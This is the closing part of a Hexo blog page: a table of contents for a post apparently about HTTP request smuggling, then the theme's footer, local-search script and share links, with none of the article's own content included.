        <ol class="toc"><li class="toc-item toc-level-1"><a class="toc-link" href="#TimeLine"><span class="toc-text">TimeLine</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#HTTP-Connection"><span class="toc-text">HTTP Connection</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#Keep-Alive"><span class="toc-text">Keep-Alive</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#Pipeline"><span class="toc-text">Pipeline</span></a></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#Message-Body"><span class="toc-text">Message Body</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#Transfer-Encoding"><span class="toc-text">Transfer-Encoding</span></a></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#Background"><span class="toc-text">Background</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#Attack-Method"><span class="toc-text">Attack Method</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#%E4%BC%98%E5%85%88%E7%BA%A7"><span class="toc-text">优先级</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#Bad-chunked-Transimission"><span class="toc-text">Bad chunked Transimission</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#NULL-in-header"><span class="toc-text">NULL in header</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#CRLF"><span class="toc-text">CRLF</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#Size-Issue"><span class="toc-text">Size Issue</span></a></li></ol></li></ol>
      
    </div>
  </div>

  
<script src="/js/catalog.js"></script>




                                                                    
                                                                        <div class="comments-container">
                                                                            







                                                                        </div>
                                                                        
                                                            </div>
                                                            
        
<div class="footer">
  <div class="social">
    <ul>
      
        <li>
          <a title="github" target="_blank" rel="noopener" href="https://github.com/Ghostasky">
            <i class="iconfont icon-github"></i>
          </a>
        </li>
      
        <li>
          <a title="twitter" target="_blank" rel="noopener" href="https://twitter.com/ghostasky">
            <i class="iconfont icon-twitter"></i>
          </a>
        </li>
      
    </ul>
  </div>
  
    
    <div class="footer-more">
      
        <a target="_blank" rel="noopener" href="https://github.com/Ghostasky">怕什么真理无穷，进一寸有进一寸的欢喜。</a>
        
    </div>
  
    
    <div class="footer-more">
      
        <a target="_blank" rel="noopener" href="https://github.com/zchengsite/hexo-theme-oranges">Copyright © 2022 Oranges</a>
        
    </div>
  
    
    <div class="footer-more">
      
        <a target="_blank" rel="noopener" href="https://github.com/zchengsite/hexo-theme-oranges">Theme by Oranges | Powered by Hexo</a>
        
    </div>
  
</div>

      </div>

      <div class="tools-bar">
        <div class="back-to-top tools-bar-item hidden">
  <a href="javascript: void(0)">
    <i class="iconfont icon-chevronup"></i>
  </a>
</div>


<script src="/js/backtotop.js"></script>



        
  <div class="search-icon tools-bar-item" id="search-icon">
    <a href="javascript: void(0)">
      <i class="iconfont icon-search"></i>
    </a>
  </div>

  <div class="search-overlay hidden">
    <div class="search-content" tabindex="0">
      <div class="search-title">
        <span class="search-icon-input">
          <a href="javascript: void(0)">
            <i class="iconfont icon-search"></i>
          </a>
        </span>
        
          <input type="text" class="search-input" id="search-input" placeholder="Search...">
        
        <span class="search-close-icon" id="search-close-icon">
          <a href="javascript: void(0)">
            <i class="iconfont icon-close"></i>
          </a>
        </span>
      </div>
      <div class="search-result" id="search-result"></div>
    </div>
  </div>

  <script type="text/javascript">
    var inputArea = document.querySelector("#search-input")
    var searchOverlayArea = document.querySelector(".search-overlay")

    inputArea.onclick = function() {
      getSearchFile()
      this.onclick = null
    }

    inputArea.onkeydown = function() {
      if(event.keyCode == 13)
        return false
    }

    function openOrHideSearchContent() {
      let isHidden = searchOverlayArea.classList.contains('hidden')
      if (isHidden) {
        searchOverlayArea.classList.remove('hidden')
        document.body.classList.add('hidden')
        // inputArea.focus()
      } else {
        searchOverlayArea.classList.add('hidden')
        document.body.classList.remove('hidden')
      }
    }

    function blurSearchContent(e) {
      if (e.target === searchOverlayArea) {
        openOrHideSearchContent()
      }
    }

    document.querySelector("#search-icon").addEventListener("click", openOrHideSearchContent, false)
    document.querySelector("#search-close-icon").addEventListener("click", openOrHideSearchContent, false)
    searchOverlayArea.addEventListener("click", blurSearchContent, false)

    var searchFunc = function (path, search_id, content_id) {
      'use strict';
      var $input = document.getElementById(search_id);
      var $resultContent = document.getElementById(content_id);
      $resultContent.innerHTML = "<ul><span class='local-search-empty'>First search, index file loading, please wait...<span></ul>";
      $.ajax({
        // 0x01. load xml file
        url: path,
        dataType: "xml",
        success: function (xmlResponse) {
          // 0x02. parse xml file
          var datas = $("entry", xmlResponse).map(function () {
            return {
              title: $("title", this).text(),
              content: $("content", this).text(),
              url: $("url", this).text()
            };
          }).get();
          $resultContent.innerHTML = "";

          $input.addEventListener('input', function () {
            // 0x03. parse query to keywords list
            var str = '<ul class=\"search-result-list\">';
            var keywords = this.value.trim().toLowerCase().split(/[\s\-]+/);
            $resultContent.innerHTML = "";
            if (this.value.trim().length <= 0) {
              return;
            }
            // 0x04. perform local searching
            datas.forEach(function (data) {
              var isMatch = true;
              var content_index = [];
              if (!data.title || data.title.trim() === '') {
                data.title = "Untitled";
              }
              var orig_data_title = data.title.trim();
              var data_title = orig_data_title.toLowerCase();
              var orig_data_content = data.content.trim().replace(/<[^>]+>/g, "");
              var data_content = orig_data_content.toLowerCase();
              var data_url = data.url;
              var index_title = -1;
              var index_content = -1;
              var first_occur = -1;
              // only match artiles with not empty contents
              if (data_content !== '') {
                keywords.forEach(function (keyword, i) {
                  index_title = data_title.indexOf(keyword);
                  index_content = data_content.indexOf(keyword);

                  if (index_title < 0 && index_content < 0) {
                    isMatch = false;
                  } else {
                    if (index_content < 0) {
                      index_content = 0;
                    }
                    if (i == 0) {
                      first_occur = index_content;
                    }
                    // content_index.push({index_content:index_content, keyword_len:keyword_len});
                  }
                });
              } else {
                isMatch = false;
              }
              // 0x05. show search results
              if (isMatch) {
                str += "<li><a href='" + data_url + "' class='search-result-title'>" + orig_data_title + "</a>";
                var content = orig_data_content;
                if (first_occur >= 0) {
                  // cut out 100 characters
                  var start = first_occur - 20;
                  var end = first_occur + 80;

                  if (start < 0) {
                    start = 0;
                  }

                  if (start == 0) {
                    end = 100;
                  }

                  if (end > content.length) {
                    end = content.length;
                  }

                  var match_content = content.substr(start, end);

                  // highlight all keywords
                  keywords.forEach(function (keyword) {
                    var regS = new RegExp(keyword, "gi");
                    match_content = match_content.replace(regS, "<span class=\"search-keyword\">" + keyword + "</span>");
                  });

                  str += "<p class=\"search-result-abstract\">" + match_content + "...</p>"
                }
                str += "</li>";
              }
            });
            str += "</ul>";
            if (str.indexOf('<li>') === -1) {
              return $resultContent.innerHTML = "<ul><span class='local-search-empty'>No result<span></ul>";
            }
            $resultContent.innerHTML = str;
          });
        },
        error: function(xhr, status, error) {
          $resultContent.innerHTML = ""
          if (xhr.status === 404) {
            $resultContent.innerHTML = "<ul><span class='local-search-empty'>The search.xml file was not found, please refer to：<a href='https://github.com/zchengsite/hexo-theme-oranges#configuration' target='_black'>configuration</a><span></ul>";
          } else {
            $resultContent.innerHTML = "<ul><span class='local-search-empty'>The request failed, Try to refresh the page or try again later.<span></ul>";
          }
        }
      });
      $(document).on('click', '#search-close-icon', function() {
        $('#search-input').val('');
        $('#search-result').html('');
      });
    }

    var getSearchFile = function() {
        var path = "/search.xml";
        searchFunc(path, 'search-input', 'search-result');
    }
  </script>




        
  <div class="tools-bar-item theme-icon" id="switch-color-scheme">
    <a href="javascript: void(0)">
      <i id="theme-icon" class="iconfont icon-moon"></i>
    </a>
  </div>

  
<script src="/js/colorscheme.js"></script>





        
  
    <div class="share-icon tools-bar-item">
      <a href="javascript: void(0)" id="share-icon">
        <i class="iconfont iconshare"></i>
      </a>
      <div class="share-content hidden">
        
          <a class="share-item" href="https://twitter.com/intent/tweet?text=' + HTTP%E8%AF%B7%E6%B1%82%E8%B5%B0%E7%A7%81 + '&url=' + https%3A%2F%2Fghostasky.github.io%2F2022%2F10%2F03%2F2022-10-HTTP%2F + '" target="_blank" title="Twitter">
            <i class="iconfont icon-twitter"></i>
          </a>
        
        
          <a class="share-item" href="https://www.facebook.com/sharer.php?u=https://ghostasky.github.io/2022/10/03/2022-10-HTTP/" target="_blank" title="Facebook">
            <i class="iconfont icon-facebooksquare"></i>
          </a>
        
      </div>
    </div>
  
  
<script src="/js/shares.js"></script>



      </div>
    </div>
  </body>
</html>
